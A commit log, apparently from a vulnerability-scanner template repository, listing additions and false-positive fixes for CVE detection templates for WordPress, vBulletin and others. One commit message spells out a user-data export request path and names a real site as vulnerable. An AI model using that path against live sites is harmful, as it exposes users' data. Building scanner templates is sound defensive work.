Pxmme	37891375e1	Create CVE-2020-13379.yaml lol DoS is fun	2020-08-15 22:14:07 +02:00
Dwi Siswanto	64cbf896de	🔥 Add CVE-2019-7609	2020-08-16 01:10:27 +07:00
bauthard	4c80fb66de	Merge pull request #308 from geeknik/patch-1 Update wordpress-accessible-wpconfig.yaml	2020-08-15 20:51:37 +05:30
Geeknik Labs	22b17d80de	Update wordpress-accessible-wpconfig.yaml Add a few additional paths	2020-08-15 15:19:40 +00:00
bauthard	ab954d1a83	Merge pull request #301 from foulenzer/master added template for xss params	2020-08-15 14:24:13 +05:30
bauthard	9ab0c904c8	updating templates	2020-08-15 14:18:23 +05:30
bauthard	322c0c8b98	Merge pull request #307 from dwisiswant0/fix/false-positives Fix False-positive Result of CVE-2019-19985	2020-08-15 13:41:03 +05:30
Dwi Siswanto	5eac34b513	🔨 Fix false-positive	2020-08-15 15:04:58 +07:00
Benjamin Intfeld	8f599a4c08	added template for xss params	2020-08-12 22:51:22 +02:00
bauthard	e91a4518c2	Merge pull request #299 from Mad-robot/master Fixing false positives	2020-08-12 23:15:48 +05:30
bauthard	96093904ad	Update CVE-2019-19985.yaml	2020-08-12 23:14:53 +05:30
SaN ThosH	dc627f2d97	Update CVE-2019-19985.yaml	2020-08-12 23:10:09 +05:30
SaN ThosH	5e8411900f	Update CVE-2019-19985.yaml Fixing false positives previously shown vulnerable for https://books.apple.com/wp-admin/admin.php?page=download_report&report=users&status=all Originally vulnerable https://www.yacht-charter.co.uk/wp-admin/admin.php?page=download_report&report=users&status=all	2020-08-12 23:09:50 +05:30
bauthard	81a11c535a	Merge pull request #298 from Mad-robot/master Create CVE-2019-9978.yaml	2020-08-12 20:51:56 +05:30
bauthard	80d2ccb4e6	Update wordpress-workflow.yaml	2020-08-12 20:50:46 +05:30
bauthard	283dfce89c	workflow update	2020-08-12 20:49:20 +05:30
bauthard	4d1ff74303	Merge branch 'master' of https://github.com/Mad-robot/nuclei-templates into pr/298	2020-08-12 20:43:14 +05:30
bauthard	d9a36ec84f	Update CVE-2019-9978.yaml	2020-08-12 20:42:50 +05:30
SaN ThosH	d60f915497	Update CVE-2019-9978.yaml	2020-08-12 20:41:52 +05:30
SaN ThosH	ec95929e4b	Create CVE-2019-9978.yaml	2020-08-12 20:35:52 +05:30
bauthard	190e1e1ea5	Merge pull request #297 from Mad-robot/master Update wordpress-accessible-wpconfig.yaml	2020-08-12 20:24:36 +05:30
SaN ThosH	c6127b017d	Update wordpress-accessible-wpconfig.yaml	2020-08-12 20:21:27 +05:30
bauthard	cbe3dbf145	Merge pull request #295 from Kiblyn11/wordpress-workflow-wp-config wp-config misconfig and wordpress workflow	2020-08-12 18:51:24 +05:30
bauthard	3871001181	Merge pull request #294 from xElkomy/patch-2 Update crlf-injection.yaml	2020-08-12 17:49:47 +05:30
Romain	8a3ddb0cf1	fix typo	2020-08-12 10:18:59 +02:00
Romain	64c5b07b76	add wordpress workflow	2020-08-12 10:15:51 +02:00
Romain	325754ad60	add wp-config file misconfig detection	2020-08-12 10:15:34 +02:00
Khaled Mohamed	532072c677	Update crlf-injection.yaml	2020-08-11 14:58:53 +02:00
bauthard	aaba00a84d	Update CVE-2019-16759-1.yaml	2020-08-10 16:30:34 +05:30
bauthard	8a9c61c035	Update vbulletin-workflow.yaml	2020-08-10 15:00:25 +05:30
bauthard	3b571feeca	added vbulletin-workflow	2020-08-10 14:58:30 +05:30
bauthard	634226bdcb	Merge pull request #293 from Mad-robot/master Create CVE-2019-16759-fixbypass.yaml	2020-08-10 14:42:33 +05:30
bauthard	b4c75eba60	Updated file name	2020-08-10 14:41:08 +05:30
bauthard	4124bfe326	vbulletin update	2020-08-10 14:38:50 +05:30
SaN ThosH	ba3dddc284	Create CVE-2019-16759-fixbypass.yaml	2020-08-10 14:02:30 +05:30
bauthard	c4292073be	Adding template details.	2020-08-08 12:56:51 +05:30
bauthard	7807d16913	tech updates	2020-08-08 03:21:16 +05:30
bauthard	c29c02f10d	Merge pull request #290 from un-fmunozs/drop-cms-detect Improve drupal detection on tech-detect and drop cms-detect	2020-08-08 02:48:49 +05:30
un-fmunozs	4425ee7a01	Update tech-detect.yaml	2020-08-07 16:15:38 -05:00
un-fmunozs	c21eccd8e6	Improve drupal detection on tech-detect and drop cms-detect tech-detect does a better job with more cms than cms-detect, strings from cms-detect added for drupal. wordpress detection on tech-detect is ok. Fix #289	2020-08-07 16:14:24 -05:00